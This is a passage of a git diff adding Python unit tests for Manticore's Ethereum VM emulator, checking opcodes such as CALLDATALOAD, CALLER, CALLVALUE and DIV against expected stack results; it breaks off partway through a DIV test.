+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'INSUFICIENT STACK')
+            self.assertEqual(new_vm.gas, 999960)
+
+
+if __name__ == '__main__':
+    unittest.main()
+
diff --git a/tests/EVM/test_EVMCALLDATALOAD.py b/tests/EVM/test_EVMCALLDATALOAD.py
new file mode 100644
index 0000000..367167f
--- /dev/null
+++ b/tests/EVM/test_EVMCALLDATALOAD.py
@@ -0,0 +1,281 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_CALLDATALOAD(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_CALLDATALOAD_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_CALLDATALOAD_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [29515630589904128245223976570842015727304113738300535931626442982409229107200L])
+
+    def test_CALLDATALOAD_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [29515630589904128245223976570842015727304113738300535931626442982409224847360L])
+
+    def test_CALLDATALOAD_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_CALLDATALOAD_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_CALLDATALOAD_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [29515630589904128245223976570842010042800435681475029265659040150473943285760L])
+
+    def test_CALLDATALOAD_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_CALLDATALOAD_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_CALLDATALOAD_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='5'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMCALLDATASIZE.py b/tests/EVM/test_EVMCALLDATASIZE.py
new file mode 100644
index 0000000..40e3579
--- /dev/null
+++ b/tests/EVM/test_EVMCALLDATASIZE.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_CALLDATASIZE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_CALLDATASIZE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='6'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [30])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMCALLER.py b/tests/EVM/test_EVMCALLER.py
new file mode 100644
index 0000000..e5369e5
--- /dev/null
+++ b/tests/EVM/test_EVMCALLER.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_CALLER(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_CALLER_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='3'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMCALLVALUE.py b/tests/EVM/test_EVMCALLVALUE.py
new file mode 100644
index 0000000..a0634aa
--- /dev/null
+++ b/tests/EVM/test_EVMCALLVALUE.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_CALLVALUE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_CALLVALUE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='4'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10000])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMCODESIZE.py b/tests/EVM/test_EVMCODESIZE.py
new file mode 100644
index 0000000..4adc4db
--- /dev/null
+++ b/tests/EVM/test_EVMCODESIZE.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_CODESIZE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_CODESIZE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='8'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMCOINBASE.py b/tests/EVM/test_EVMCOINBASE.py
new file mode 100644
index 0000000..dcc1677
--- /dev/null
+++ b/tests/EVM/test_EVMCOINBASE.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_COINBASE(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_COINBASE_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='A'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMDIFFICULTY.py b/tests/EVM/test_EVMDIFFICULTY.py
new file mode 100644
index 0000000..b6a7603
--- /dev/null
+++ b/tests/EVM/test_EVMDIFFICULTY.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_DIFFICULTY(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_DIFFICULTY_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='D'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMDIV.py b/tests/EVM/test_EVMDIV.py
new file mode 100644
index 0000000..0f4d7e4
--- /dev/null
+++ b/tests/EVM/test_EVMDIV.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_DIV(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_DIV_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_DIV_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
